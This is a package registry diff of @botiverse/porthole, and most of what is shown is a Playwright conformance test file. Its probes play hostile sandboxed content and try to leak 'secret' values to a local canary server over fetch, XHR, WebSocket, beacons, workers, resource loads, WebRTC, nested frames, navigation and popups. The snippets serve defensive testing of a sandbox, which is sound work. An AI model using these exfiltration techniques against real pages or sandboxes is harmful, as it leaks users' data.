@botiverse/porthole 0.0.1 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +217 -0
- package/dist/bridge/bridge.d.ts +39 -0
- package/dist/bridge/bridge.js +198 -0
- package/dist/bridge/types.d.ts +83 -0
- package/dist/bridge/types.js +1 -0
- package/dist/compile/compile.d.ts +35 -0
- package/dist/compile/compile.js +30 -0
- package/dist/compile/policy.d.ts +55 -0
- package/dist/compile/policy.js +103 -0
- package/dist/config/capabilities.d.ts +154 -0
- package/dist/config/capabilities.js +63 -0
- package/dist/config/schema.d.ts +152 -0
- package/dist/config/schema.js +11 -0
- package/dist/config/validate.d.ts +22 -0
- package/dist/config/validate.js +261 -0
- package/dist/conformance/behavior.d.ts +2 -0
- package/dist/conformance/behavior.js +426 -0
- package/dist/conformance/index.d.ts +101 -0
- package/dist/conformance/index.js +4 -0
- package/dist/conformance/kit.d.ts +42 -0
- package/dist/conformance/kit.js +24 -0
- package/dist/conformance/oracles.d.ts +35 -0
- package/dist/conformance/oracles.js +77 -0
- package/dist/conformance/probes.d.ts +33 -0
- package/dist/conformance/probes.js +876 -0
- package/dist/conformance/served.d.ts +75 -0
- package/dist/conformance/served.js +335 -0
- package/dist/guide/examples.d.ts +70 -0
- package/dist/guide/examples.js +69 -0
- package/dist/guide/guide.d.ts +16 -0
- package/dist/guide/guide.js +265 -0
- package/dist/host/create-host.d.ts +8 -0
- package/dist/host/create-host.js +292 -0
- package/dist/host/locate.d.ts +8 -0
- package/dist/host/locate.js +16 -0
- package/dist/host/outcome.d.ts +24 -0
- package/dist/host/outcome.js +134 -0
- package/dist/host/types.d.ts +127 -0
- package/dist/host/types.js +1 -0
- package/dist/index.d.ts +25 -0
- package/dist/index.js +21 -0
- package/dist/isolation/served.d.ts +35 -0
- package/dist/isolation/served.js +117 -0
- package/dist/isolation/types.d.ts +96 -0
- package/dist/isolation/types.js +2 -0
- package/dist/mcp/adapter.d.ts +43 -0
- package/dist/mcp/adapter.js +327 -0
- package/dist/mcp/index.d.ts +27 -0
- package/dist/mcp/index.js +25 -0
- package/dist/mcp/proxy.d.ts +25 -0
- package/dist/mcp/proxy.js +106 -0
- package/dist/mcp/view.d.ts +31 -0
- package/dist/mcp/view.js +72 -0
- package/dist/platform/types.d.ts +51 -0
- package/dist/platform/types.js +1 -0
- package/dist/platform/web.d.ts +8 -0
- package/dist/platform/web.js +85 -0
- package/dist/presets/presets.d.ts +71 -0
- package/dist/presets/presets.js +140 -0
- package/dist/protocol/adapter.d.ts +73 -0
- package/dist/protocol/adapter.js +1 -0
- package/dist/protocol/jsonrpc.d.ts +43 -0
- package/dist/protocol/jsonrpc.js +50 -0
- package/dist/protocol/mcp-apps.d.ts +79 -0
- package/dist/protocol/mcp-apps.js +99 -0
- package/dist/protocol/shell-adapter.d.ts +5 -0
- package/dist/protocol/shell-adapter.js +228 -0
- package/dist/react/dialog.d.ts +20 -0
- package/dist/react/dialog.js +98 -0
- package/dist/react/frame.d.ts +91 -0
- package/dist/react/frame.js +255 -0
- package/dist/react/index.d.ts +13 -0
- package/dist/react/index.js +13 -0
- package/dist/react/live.d.ts +24 -0
- package/dist/react/live.js +57 -0
- package/dist/server/index.d.ts +27 -0
- package/dist/server/index.js +26 -0
- package/dist/server/keys.d.ts +19 -0
- package/dist/server/keys.js +78 -0
- package/dist/server/pages.d.ts +11 -0
- package/dist/server/pages.js +86 -0
- package/dist/server/proxy.d.ts +21 -0
- package/dist/server/proxy.js +107 -0
- package/dist/server/server.d.ts +7 -0
- package/dist/server/server.js +542 -0
- package/dist/server/tickets.d.ts +8 -0
- package/dist/server/tickets.js +28 -0
- package/dist/server/types.d.ts +97 -0
- package/dist/server/types.js +1 -0
- package/dist/shell/document.d.ts +29 -0
- package/dist/shell/document.js +85 -0
- package/dist/shell/plan.d.ts +37 -0
- package/dist/shell/plan.js +35 -0
- package/dist/shell/runtime.d.ts +28 -0
- package/dist/shell/runtime.js +848 -0
- package/dist/theme/variables.d.ts +73 -0
- package/dist/theme/variables.js +171 -0
- package/dist/transport/post-message.d.ts +9 -0
- package/dist/transport/post-message.js +38 -0
- package/dist/transport/types.d.ts +15 -0
- package/dist/transport/types.js +1 -0
- package/package.json +63 -1
- package/src/bridge/bridge.ts +278 -0
- package/src/bridge/types.ts +95 -0
- package/src/compile/compile.ts +68 -0
- package/src/compile/policy.ts +130 -0
- package/src/config/capabilities.ts +138 -0
- package/src/config/schema.ts +168 -0
- package/src/config/validate.ts +318 -0
- package/src/conformance/behavior.ts +485 -0
- package/src/conformance/index.ts +116 -0
- package/src/conformance/kit.ts +63 -0
- package/src/conformance/oracles.ts +126 -0
- package/src/conformance/probes.ts +1129 -0
- package/src/conformance/served.ts +501 -0
- package/src/guide/examples.ts +74 -0
- package/src/guide/guide.ts +430 -0
- package/src/host/create-host.ts +335 -0
- package/src/host/locate.ts +25 -0
- package/src/host/outcome.ts +159 -0
- package/src/host/types.ts +126 -0
- package/src/index.ts +128 -0
- package/src/isolation/served.ts +151 -0
- package/src/isolation/types.ts +91 -0
- package/src/mcp/adapter.ts +441 -0
- package/src/mcp/index.ts +50 -0
- package/src/mcp/proxy.ts +117 -0
- package/src/mcp/view.ts +97 -0
- package/src/platform/types.ts +55 -0
- package/src/platform/web.ts +91 -0
- package/src/presets/presets.ts +217 -0
- package/src/protocol/adapter.ts +67 -0
- package/src/protocol/jsonrpc.ts +83 -0
- package/src/protocol/mcp-apps.ts +138 -0
- package/src/protocol/shell-adapter.ts +261 -0
- package/src/react/dialog.tsx +158 -0
- package/src/react/frame.tsx +486 -0
- package/src/react/index.ts +20 -0
- package/src/react/live.ts +76 -0
- package/src/server/index.ts +37 -0
- package/src/server/keys.ts +100 -0
- package/src/server/pages.ts +117 -0
- package/src/server/proxy.ts +131 -0
- package/src/server/server.ts +657 -0
- package/src/server/tickets.ts +30 -0
- package/src/server/types.ts +104 -0
- package/src/shell/document.ts +121 -0
- package/src/shell/plan.ts +69 -0
- package/src/shell/runtime.ts +848 -0
- package/src/theme/variables.ts +190 -0
- package/src/transport/post-message.ts +45 -0
- package/src/transport/types.ts +16 -0
|
@@ -0,0 +1,876 @@
|
|
|
1
|
+
import { expect, } from "@playwright/test";
|
|
2
|
+
import { presets } from "../presets/presets.js";
|
|
3
|
+
import { resolveTheme } from "../theme/variables.js";
|
|
4
|
+
import { attack, inline, js } from "./kit.js";
|
|
5
|
+
import { BEHAVIOR_PROBES } from "./behavior.js";
|
|
6
|
+
import { readFileSync } from "node:fs";
|
|
7
|
+
import { createRequire } from "node:module";
|
|
8
|
+
import { httpOracle, settle, udpOracle, } from "./oracles.js";
|
|
9
|
+
/**
|
|
10
|
+
* The probes, one per channel and variant, numbered by DESIGN.md's egress table. Each attacks from
|
|
11
|
+
* inside the content, as an agent's code would, and asserts with an oracle that nothing left.
|
|
12
|
+
*/
|
|
13
|
+
/** Whether this engine sends STUN from an unsandboxed page: the WebRTC oracle's positive control. */
|
|
14
|
+
async function rtcSendsHere(context, udp) {
|
|
15
|
+
const tried = await context.page
|
|
16
|
+
.evaluate(async (stun) => {
|
|
17
|
+
const Peer = window
|
|
18
|
+
.RTCPeerConnection;
|
|
19
|
+
if (typeof Peer !== "function") {
|
|
20
|
+
return false;
|
|
21
|
+
}
|
|
22
|
+
const peer = new Peer({ iceServers: [{ urls: stun }] });
|
|
23
|
+
peer.createDataChannel("control");
|
|
24
|
+
await peer.setLocalDescription(await peer.createOffer());
|
|
25
|
+
await new Promise((resolve) => setTimeout(resolve, 1_500));
|
|
26
|
+
peer.close();
|
|
27
|
+
return true;
|
|
28
|
+
}, udp.stun)
|
|
29
|
+
.catch(() => false);
|
|
30
|
+
const sent = tried && udp.packets() > 0;
|
|
31
|
+
context.measured(`${context.engine}: an unsandboxed peer connection ${sent ? "sends" : "sends no"} STUN to the oracle`);
|
|
32
|
+
return sent;
|
|
33
|
+
}
|
|
34
|
+
/** A child document that says it ran and tries WebRTC (with pre-gathering, which starts at once). */
|
|
35
|
+
const childDocument = (stun) => `<script>parent.postMessage({ tag: "child-ran" }, "*"); try { const p = new RTCPeerConnection({ iceServers: [{ urls: ${js(stun)} }], iceCandidatePoolSize: 4 }); p.createDataChannel("x"); p.createOffer().then((o) => p.setLocalDescription(o)); } catch (e) {}</script>`;
|
|
36
|
+
/** The verdict of a nested-frame attack: the child never ran, and nothing reached the oracle. */
|
|
37
|
+
async function expectNoChild(context, display, udp) {
|
|
38
|
+
const verdict = await context.result(display, 15_000);
|
|
39
|
+
await settle(1_000);
|
|
40
|
+
expect(verdict.error, "the attack itself failed").toBeUndefined();
|
|
41
|
+
expect(verdict.childRan ?? false, "a nested frame's script ran").toBe(false);
|
|
42
|
+
expect(verdict.frames ?? 0, "a nested frame is still in the tree").toBe(0);
|
|
43
|
+
expect(udp.packets(), "STUN packets reached the oracle").toBe(0);
|
|
44
|
+
if (verdict.reached !== undefined || verdict.blocked !== undefined) {
|
|
45
|
+
context.measured(`${context.engine}: a new frame's realm, in the task that added it, was ${verdict.blocked === undefined ? `reachable (RTCPeerConnection: ${JSON.stringify(verdict.reached)})` : `unreachable (${JSON.stringify(verdict.blocked)})`}`);
|
|
46
|
+
}
|
|
47
|
+
return verdict;
|
|
48
|
+
}
|
|
49
|
+
/** The common head of a nested-frame attack: listen for the child, and make its document. */
|
|
50
|
+
const childSetup = (stun) => `
|
|
51
|
+
r.childRan = false;
|
|
52
|
+
window.addEventListener("message", (event) => { if (event.data && event.data.tag === "child-ran") r.childRan = true; });
|
|
53
|
+
const child = ${js(childDocument(stun))};
|
|
54
|
+
const makeFrame = () => { const f = document.createElement("iframe"); f.setAttribute("srcdoc", child); return f; };`;
|
|
55
|
+
/** A navigated document's beacon to an allowed witness: heard only if that document ran. */
|
|
56
|
+
const witnessScript = (origin) => `<script>fetch(${js(`${origin}/ran`)}).catch(() => {});</script>`;
|
|
57
|
+
/**
|
|
58
|
+
* A document the frame navigates to must never run: it would be a fresh realm without the shell's
|
|
59
|
+
* defenses. (Starting the display again on the navigation can cut it short, but that is a race,
|
|
60
|
+
* not a wall, so it is not what this asserts.)
|
|
61
|
+
*/
|
|
62
|
+
function measureWitness(context, witness, scheme) {
|
|
63
|
+
const ran = witness.requests().some((request) => request.path === "/ran");
|
|
64
|
+
expect(ran, `a ${scheme} document the frame navigated to ran`).toBe(false);
|
|
65
|
+
}
|
|
66
|
+
/** Every navigation attempt's verdict: nothing reached the oracle, and the content stayed or restarted. */
|
|
67
|
+
async function expectNoNavigation(context, display, canary, udp) {
|
|
68
|
+
await settle(1_500);
|
|
69
|
+
expect(canary.requests(), "the navigation reached the canary").toEqual([]);
|
|
70
|
+
expect(context.requestsTo(canary.origin), "the page requested the canary").toEqual([]);
|
|
71
|
+
if (udp !== undefined) {
|
|
72
|
+
expect(udp.packets(), "a navigated document reached the STUN oracle").toBe(0);
|
|
73
|
+
}
|
|
74
|
+
const events = await display.events();
|
|
75
|
+
const restarts = events.filter((event) => event.type === "navigated").length;
|
|
76
|
+
if (restarts > 0) {
|
|
77
|
+
context.measured(`${context.engine}: the navigation replaced the frame's document; the display was started again ${restarts} time(s)`);
|
|
78
|
+
return;
|
|
79
|
+
}
|
|
80
|
+
const frame = await display.frame();
|
|
81
|
+
await expect(frame.locator("#marker"), "the frame lost its content without being started again").toHaveCount(1);
|
|
82
|
+
context.measured(`${context.engine}: the frame kept its content`);
|
|
83
|
+
}
|
|
84
|
+
const navigation = (id, title, code, markup = "") => ({
|
|
85
|
+
id: `5.${id}`,
|
|
86
|
+
item: 5,
|
|
87
|
+
title: `the frame can't navigate itself out: ${title}`,
|
|
88
|
+
async run(context) {
|
|
89
|
+
const canary = await context.http();
|
|
90
|
+
const target = `${canary.origin}/nav.html?d=secret-${id}`;
|
|
91
|
+
const display = await context.launch({
|
|
92
|
+
config: inline(),
|
|
93
|
+
content: attack(`await wait(150);\n${code(target)}`, markup),
|
|
94
|
+
});
|
|
95
|
+
await expectNoNavigation(context, display, canary);
|
|
96
|
+
},
|
|
97
|
+
});
|
|
98
|
+
const nested = (id, title, code, markup = "") => ({
|
|
99
|
+
id: `4.${id}`,
|
|
100
|
+
item: 4,
|
|
101
|
+
title: `no nested frame runs: ${title}`,
|
|
102
|
+
async run(context) {
|
|
103
|
+
const udp = await context.udp();
|
|
104
|
+
const display = await context.launch({
|
|
105
|
+
config: inline(),
|
|
106
|
+
content: attack(`${childSetup(udp.stun)}\n${code(udp.stun)}\n await wait(1200);`, markup),
|
|
107
|
+
});
|
|
108
|
+
await expectNoChild(context, display, udp);
|
|
109
|
+
},
|
|
110
|
+
});
|
|
111
|
+
/**
|
|
112
|
+
* One escape attempt (item 6): no request reaches the canary, no popup opens, no download starts,
|
|
113
|
+
* the top page stays where it was, and the display stays contained (kept, or started again).
|
|
114
|
+
*/
|
|
115
|
+
const escape = (id, title, code) => ({
|
|
116
|
+
id: `6.${id}`,
|
|
117
|
+
item: 6,
|
|
118
|
+
title: `no form, popup, download or top navigation: ${title}`,
|
|
119
|
+
async run(context) {
|
|
120
|
+
const canary = await context.http();
|
|
121
|
+
const c = canary.origin;
|
|
122
|
+
const popups = [];
|
|
123
|
+
const downloads = [];
|
|
124
|
+
context.page.on("popup", (popup) => popups.push(popup.url()));
|
|
125
|
+
context.page.context().on("page", (page) => popups.push(page.url()));
|
|
126
|
+
context.page.on("download", (download) => downloads.push(download.url()));
|
|
127
|
+
const display = await context.launch({
|
|
128
|
+
config: inline(),
|
|
129
|
+
content: attack(`
|
|
130
|
+
window.addEventListener("click", (event) => event.stopImmediatePropagation(), true);
|
|
131
|
+
await wait(150);
|
|
132
|
+
${typeof code === "string" ? code : code(c)}`, `<form id="form" action="${c}/form" method="get"><input name="d" value="secret"></form>
|
|
133
|
+
<form id="blank-form" action="${c}/blank-form" target="_blank"><input name="d" value="secret"></form>
|
|
134
|
+
<a id="blank" href="${c}/blank?d=secret" target="_blank">blank</a>
|
|
135
|
+
<a id="top" href="${c}/top-link?d=secret" target="_top">top</a>
|
|
136
|
+
<a id="remote-download" href="${c}/download.txt" download>download</a>`),
|
|
137
|
+
});
|
|
138
|
+
const before = context.page.url();
|
|
139
|
+
await expectNoNavigation(context, display, canary);
|
|
140
|
+
expect(popups, "a popup opened").toEqual([]);
|
|
141
|
+
expect(downloads, "a download started").toEqual([]);
|
|
142
|
+
expect(context.page.url(), "the top page navigated").toBe(before);
|
|
143
|
+
},
|
|
144
|
+
});
|
|
145
|
+
/**
|
|
146
|
+
* One resource hint (item 8), in three ways: in the content's markup, inserted by its script, and
|
|
147
|
+
* turned on by changing the attributes of a link already in the document. Each is a channel of
|
|
148
|
+
* its own: an engine may process a hint the moment it is connected or changed.
|
|
149
|
+
*/
|
|
150
|
+
const hint = (id, make) => ({
|
|
151
|
+
id: `8.${id}`,
|
|
152
|
+
item: 8,
|
|
153
|
+
title: `resource hints open no connection: rel=${id}`,
|
|
154
|
+
async run(context) {
|
|
155
|
+
const control = await context.http();
|
|
156
|
+
const shown = make(control.origin);
|
|
157
|
+
await context.page.evaluate((each) => {
|
|
158
|
+
const link = document.createElement("link");
|
|
159
|
+
link.rel = each.rel;
|
|
160
|
+
link.href = each.href;
|
|
161
|
+
if (each.as !== undefined) {
|
|
162
|
+
link.setAttribute("as", each.as);
|
|
163
|
+
}
|
|
164
|
+
document.head.append(link);
|
|
165
|
+
}, shown);
|
|
166
|
+
await settle(1_200);
|
|
167
|
+
context.measured(`${context.engine}: rel=${id} in an unsandboxed page opened ${control.connections()} connection(s), ${control.requests().length} request(s)`);
|
|
168
|
+
const canary = await context.http();
|
|
169
|
+
const target = make(canary.origin);
|
|
170
|
+
const attributes = (each) => `rel="${each.rel}" href="${each.href}"${each.as === undefined ? "" : ` as="${each.as}"`}`;
|
|
171
|
+
const display = await context.launch({
|
|
172
|
+
config: inline(),
|
|
173
|
+
content: attack(`
|
|
174
|
+
const hint = ${js(target)};
|
|
175
|
+
const holder = document.createElement("div");
|
|
176
|
+
holder.innerHTML = '<link ' + ${js(attributes(target))} + '>';
|
|
177
|
+
document.head.append(...holder.childNodes);
|
|
178
|
+
const made = document.createElement("link");
|
|
179
|
+
made.rel = hint.rel;
|
|
180
|
+
made.href = hint.href + (hint.href.includes("?") ? "&" : "?") + "made";
|
|
181
|
+
if (hint.as) made.setAttribute("as", hint.as);
|
|
182
|
+
document.body.append(made);
|
|
183
|
+
const later = document.createElement("link");
|
|
184
|
+
later.rel = "author";
|
|
185
|
+
document.head.append(later);
|
|
186
|
+
if (hint.as) later.setAttribute("as", hint.as);
|
|
187
|
+
later.setAttribute("href", hint.href + (hint.href.includes("?") ? "&" : "?") + "later");
|
|
188
|
+
later.rel = hint.rel;
|
|
189
|
+
await wait(1200);`, `<link ${attributes(target)}>`),
|
|
190
|
+
});
|
|
191
|
+
await context.result(display, 15_000);
|
|
192
|
+
await settle(1_000);
|
|
193
|
+
expect(canary.requests(), "a hint fetched from the canary").toEqual([]);
|
|
194
|
+
expect(canary.connections(), "a hint opened a connection to the canary").toBe(0);
|
|
195
|
+
},
|
|
196
|
+
});
|
|
197
|
+
/** The official MCP Apps App SDK as one ES module, if it is installed where the suite runs. */
|
|
198
|
+
function appSdk() {
|
|
199
|
+
try {
|
|
200
|
+
const file = createRequire(import.meta.url).resolve("@modelcontextprotocol/ext-apps/app-with-deps");
|
|
201
|
+
return { type: "text/javascript", data: readFileSync(file) };
|
|
202
|
+
}
|
|
203
|
+
catch {
|
|
204
|
+
return null;
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
/** Content that connects with the official App SDK, loaded from `sdk`, and reports what it got. */
|
|
208
|
+
const connectsWithSdk = (sdk) => `
|
|
209
|
+
const { App, PostMessageTransport } = await import(${js(sdk)});
|
|
210
|
+
const app = new App({ name: "porthole-probe", version: "1" }, {}, { autoResize: false });
|
|
211
|
+
await Promise.race([
|
|
212
|
+
app.connect(new PostMessageTransport(window.parent, window.parent)),
|
|
213
|
+
wait(8000).then(() => { throw new Error("App.connect timed out"); }),
|
|
214
|
+
]);
|
|
215
|
+
const context = app.getHostContext() || {};
|
|
216
|
+
r.connected = true;
|
|
217
|
+
r.theme = context.theme;
|
|
218
|
+
r.styles = Object.keys((context.styles && context.styles.variables) || {}).length;`;
|
|
219
|
+
/**
|
|
220
|
+
* Content written with the official App SDK connects under every preset (OBJECTIVE 3): the host
|
|
221
|
+
* context the host answers passes the SDK's own validation, and the shell beside the content takes
|
|
222
|
+
* none of its answers.
|
|
223
|
+
*/
|
|
224
|
+
const sdkProbe = (preset) => ({
|
|
225
|
+
id: `0.app-sdk-${preset}`,
|
|
226
|
+
item: 0,
|
|
227
|
+
title: `content using the official MCP Apps App SDK connects (${preset})`,
|
|
228
|
+
async run(context) {
|
|
229
|
+
const bundle = appSdk();
|
|
230
|
+
if (bundle === null) {
|
|
231
|
+
context.measured("the official App SDK (@modelcontextprotocol/ext-apps) isn't installed: not run");
|
|
232
|
+
return;
|
|
233
|
+
}
|
|
234
|
+
const library = await context.http({ "/ext-apps.js": bundle });
|
|
235
|
+
const sdk = `${library.origin}/ext-apps.js`;
|
|
236
|
+
const egress = { script: [library.origin], connect: [library.origin] };
|
|
237
|
+
const page = `<!doctype html><html><head><title>View</title></head><body>${attack(connectsWithSdk(sdk))}</body></html>`;
|
|
238
|
+
const display = preset === "inline"
|
|
239
|
+
? await context.launch({
|
|
240
|
+
config: inline({ egress }),
|
|
241
|
+
content: attack(connectsWithSdk(sdk)),
|
|
242
|
+
})
|
|
243
|
+
: preset === "artifact"
|
|
244
|
+
? await context.launch({ config: presets.artifact({ egress }), content: page })
|
|
245
|
+
: await context.launch({
|
|
246
|
+
config: presets.mcpApp({ egress }),
|
|
247
|
+
content: "",
|
|
248
|
+
document: page,
|
|
249
|
+
});
|
|
250
|
+
const verdict = await context.result(display, 20_000);
|
|
251
|
+
expect(verdict.error, "App.connect failed").toBeUndefined();
|
|
252
|
+
expect(verdict).toMatchObject({ connected: true, theme: "light" });
|
|
253
|
+
expect(verdict.styles).toBeGreaterThan(0);
|
|
254
|
+
},
|
|
255
|
+
});
|
|
256
|
+
export { attack } from "./kit.js";
|
|
257
|
+
export const PROBES = [
|
|
258
|
+
// ── 0: the shell's own wiring, in a real frame ─────────────────────────────────────────────
|
|
259
|
+
{
|
|
260
|
+
id: "0.opaque-origin",
|
|
261
|
+
item: 0,
|
|
262
|
+
title: "the content runs in an opaque origin, never the host's",
|
|
263
|
+
async run(context) {
|
|
264
|
+
const display = await context.launch({
|
|
265
|
+
config: inline(),
|
|
266
|
+
content: attack(`r.origin = window.origin;`),
|
|
267
|
+
});
|
|
268
|
+
expect((await context.result(display)).origin).toBe("null");
|
|
269
|
+
},
|
|
270
|
+
},
|
|
271
|
+
{
|
|
272
|
+
id: "0.globals",
|
|
273
|
+
item: 0,
|
|
274
|
+
title: "the shell defines a global only for each declared capability, fixed in place",
|
|
275
|
+
async run(context) {
|
|
276
|
+
const display = await context.launch({
|
|
277
|
+
config: inline({ capabilities: { sendPrompt: {} } }),
|
|
278
|
+
content: attack(`
|
|
279
|
+
r.sendPrompt = typeof window.sendPrompt;
|
|
280
|
+
r.openLink = typeof window.openLink;
|
|
281
|
+
const original = window.sendPrompt;
|
|
282
|
+
try { window.sendPrompt = () => "replaced"; } catch (e) {}
|
|
283
|
+
r.replaced = window.sendPrompt !== original;`),
|
|
284
|
+
});
|
|
285
|
+
expect(await context.result(display)).toMatchObject({
|
|
286
|
+
sendPrompt: "function",
|
|
287
|
+
openLink: "undefined",
|
|
288
|
+
replaced: false,
|
|
289
|
+
});
|
|
290
|
+
},
|
|
291
|
+
},
|
|
292
|
+
{
|
|
293
|
+
id: "0.theme",
|
|
294
|
+
item: 0,
|
|
295
|
+
title: "the shell applies the declared theme variables and drops any other",
|
|
296
|
+
async run(context) {
|
|
297
|
+
const config = inline();
|
|
298
|
+
const display = await context.launch({
|
|
299
|
+
config,
|
|
300
|
+
scheme: "dark",
|
|
301
|
+
content: attack(`
|
|
302
|
+
await wait(300);
|
|
303
|
+
const style = getComputedStyle(document.documentElement);
|
|
304
|
+
r.accent = style.getPropertyValue("--color-accent").trim();
|
|
305
|
+
r.theme = document.documentElement.getAttribute("data-theme");`),
|
|
306
|
+
});
|
|
307
|
+
expect(await context.result(display)).toMatchObject({
|
|
308
|
+
accent: resolveTheme(config.theme, "dark")["--color-accent"],
|
|
309
|
+
theme: "dark",
|
|
310
|
+
});
|
|
311
|
+
},
|
|
312
|
+
},
|
|
313
|
+
{
|
|
314
|
+
id: "0.streaming",
|
|
315
|
+
item: 0,
|
|
316
|
+
title: "streamed content is drawn inert, and the whole runs once",
|
|
317
|
+
async run(context) {
|
|
318
|
+
const partial = '<div id="a" onclick="document.body.dataset.handler = 1">A</div>';
|
|
319
|
+
const whole = `${partial}<script>document.body.dataset.ran = String((Number(document.body.dataset.ran) || 0) + 1); window.portholeProbe = { done: true };</script>`;
|
|
320
|
+
const display = await context.launch({
|
|
321
|
+
config: inline(),
|
|
322
|
+
partials: [partial, `${partial}<script>document.body.dataset.ran = "draft"`],
|
|
323
|
+
content: whole,
|
|
324
|
+
});
|
|
325
|
+
await context.result(display);
|
|
326
|
+
const frame = await display.frame();
|
|
327
|
+
await expect(frame.locator("body")).toHaveAttribute("data-ran", "1");
|
|
328
|
+
await settle(300);
|
|
329
|
+
await expect(frame.locator("body")).toHaveAttribute("data-ran", "1");
|
|
330
|
+
},
|
|
331
|
+
},
|
|
332
|
+
sdkProbe("inline"),
|
|
333
|
+
sdkProbe("artifact"),
|
|
334
|
+
sdkProbe("mcp-app"),
|
|
335
|
+
// ── 1: fetch-like channels ─────────────────────────────────────────────────────────────────
|
|
336
|
+
{
|
|
337
|
+
id: "1.connect",
|
|
338
|
+
item: 1,
|
|
339
|
+
title: "fetch, XHR, WebSocket, EventSource, beacons and workers reach only allowed origins",
|
|
340
|
+
async run(context) {
|
|
341
|
+
const canary = await context.http();
|
|
342
|
+
const allowed = await context.http();
|
|
343
|
+
const display = await context.launch({
|
|
344
|
+
config: inline({ egress: { connect: [allowed.origin] } }),
|
|
345
|
+
content: attack(`
|
|
346
|
+
const canary = ${js(canary.origin)};
|
|
347
|
+
const attempt = async (name, run) => { try { await run(); r[name] = "sent"; } catch (e) { r[name] = "blocked"; } };
|
|
348
|
+
await attempt("fetch", () => fetch(canary + "/fetch?d=secret"));
|
|
349
|
+
await attempt("xhr", () => new Promise((resolve, reject) => { const x = new XMLHttpRequest(); x.open("GET", canary + "/xhr?d=secret"); x.onload = resolve; x.onerror = reject; x.send(); }));
|
|
350
|
+
await attempt("websocket", () => new Promise((resolve, reject) => { const w = new WebSocket(canary.replace("http", "ws") + "/ws?d=secret"); w.onopen = resolve; w.onerror = reject; setTimeout(reject, 1000); }));
|
|
351
|
+
await attempt("eventsource", () => new Promise((resolve, reject) => { const s = new EventSource(canary + "/sse?d=secret"); s.onopen = resolve; s.onerror = () => { s.close(); reject(); }; setTimeout(reject, 1000); }));
|
|
352
|
+
try { r.beacon = navigator.sendBeacon(canary + "/beacon", "secret"); } catch (e) { r.beacon = "blocked"; }
|
|
353
|
+
if (typeof fetchLater === "function") { try { fetchLater(canary + "/later?d=secret", { activateAfter: 0 }); } catch (e) {} }
|
|
354
|
+
await attempt("worker", () => new Promise((resolve, reject) => {
|
|
355
|
+
const source = "fetch(" + JSON.stringify(canary + "/worker?d=secret") + ").then(() => postMessage('sent'), () => postMessage('blocked'))";
|
|
356
|
+
const worker = new Worker(URL.createObjectURL(new Blob([source], { type: "text/javascript" })));
|
|
357
|
+
worker.onmessage = (event) => (event.data === "sent" ? resolve() : reject());
|
|
358
|
+
worker.onerror = reject;
|
|
359
|
+
}));
|
|
360
|
+
r.allowed = await fetch(${js(allowed.origin)} + "/allowed").then((response) => response.text(), () => "blocked");`),
|
|
361
|
+
});
|
|
362
|
+
const verdict = await context.result(display, 20_000);
|
|
363
|
+
await settle();
|
|
364
|
+
expect(verdict.allowed, "the allowed origin (the positive control)").toBe("oracle");
|
|
365
|
+
expect(allowed.requests().map((request) => request.path)).toContain("/allowed");
|
|
366
|
+
expect(canary.requests(), "requests reached the canary").toEqual([]);
|
|
367
|
+
expect(context.requestsTo(canary.origin)).toEqual([]);
|
|
368
|
+
expect(verdict).toMatchObject({
|
|
369
|
+
fetch: "blocked",
|
|
370
|
+
xhr: "blocked",
|
|
371
|
+
websocket: "blocked",
|
|
372
|
+
eventsource: "blocked",
|
|
373
|
+
worker: "blocked",
|
|
374
|
+
});
|
|
375
|
+
},
|
|
376
|
+
},
|
|
377
|
+
// ── 2: resources ───────────────────────────────────────────────────────────────────────────
|
|
378
|
+
{
|
|
379
|
+
id: "2.resources",
|
|
380
|
+
item: 2,
|
|
381
|
+
title: "images, media, fonts, styles, scripts and manifests load only from allowed origins",
|
|
382
|
+
async run(context) {
|
|
383
|
+
const canary = await context.http();
|
|
384
|
+
const allowed = await context.http();
|
|
385
|
+
const c = canary.origin;
|
|
386
|
+
const markup = `
|
|
387
|
+
<img src="${c}/img.png?d=secret">
|
|
388
|
+
<div style="background-image: url(${c}/bg.png); width: 4px; height: 4px"></div>
|
|
389
|
+
<svg width="8" height="8"><image href="${c}/svg.png" width="4" height="4"/><use href="${c}/sprite.svg#a"/></svg>
|
|
390
|
+
<video poster="${c}/poster.png" src="${c}/video.mp4"></video>
|
|
391
|
+
<audio src="${c}/audio.mp3" preload="auto"></audio>
|
|
392
|
+
<input type="image" src="${c}/input.png" alt="">
|
|
393
|
+
<link rel="stylesheet" href="${c}/style.css">
|
|
394
|
+
<link rel="manifest" href="${c}/manifest.json">
|
|
395
|
+
<link rel="icon" href="${c}/icon.png">
|
|
396
|
+
<style>@import url("${c}/import.css"); @font-face { font-family: Leak; src: url("${c}/font.woff2"); } .leak { font-family: Leak; }</style>
|
|
397
|
+
<span class="leak">font</span>
|
|
398
|
+
<script src="${c}/script.js"></script>
|
|
399
|
+
<img id="ok" src="${allowed.origin}/ok.png">`;
|
|
400
|
+
const display = await context.launch({
|
|
401
|
+
config: inline({ egress: { img: [allowed.origin] } }),
|
|
402
|
+
content: attack(`
|
|
403
|
+
await import(${js(`${c}/module.js`)}).catch(() => {});
|
|
404
|
+
try { new Worker(${js(`${c}/worker.js`)}); } catch (e) {}
|
|
405
|
+
const ok = document.getElementById("ok");
|
|
406
|
+
r.allowed = await new Promise((resolve) => { if (ok.complete && ok.naturalWidth > 0) resolve("loaded"); ok.onload = () => resolve("loaded"); ok.onerror = () => resolve("blocked"); setTimeout(() => resolve("timeout"), 3000); });
|
|
407
|
+
r.script = typeof globalThis.__portholeOracleScript;`, markup),
|
|
408
|
+
});
|
|
409
|
+
const verdict = await context.result(display, 20_000);
|
|
410
|
+
await settle();
|
|
411
|
+
expect(verdict.allowed, "the allowed image (the positive control)").toBe("loaded");
|
|
412
|
+
expect(canary.requests(), "resources loaded from the canary").toEqual([]);
|
|
413
|
+
expect(context.requestsTo(canary.origin)).toEqual([]);
|
|
414
|
+
expect(verdict.script).toBe("undefined");
|
|
415
|
+
},
|
|
416
|
+
},
|
|
417
|
+
// ── 3: WebRTC ──────────────────────────────────────────────────────────────────────────────
|
|
418
|
+
{
|
|
419
|
+
id: "3.webrtc",
|
|
420
|
+
item: 3,
|
|
421
|
+
title: "WebRTC is gone before content runs, and can't be brought back",
|
|
422
|
+
async run(context) {
|
|
423
|
+
const control = await context.udp();
|
|
424
|
+
const sends = await rtcSendsHere(context, control);
|
|
425
|
+
const udp = await context.udp();
|
|
426
|
+
const display = await context.launch({
|
|
427
|
+
config: inline(),
|
|
428
|
+
content: attack(`
|
|
429
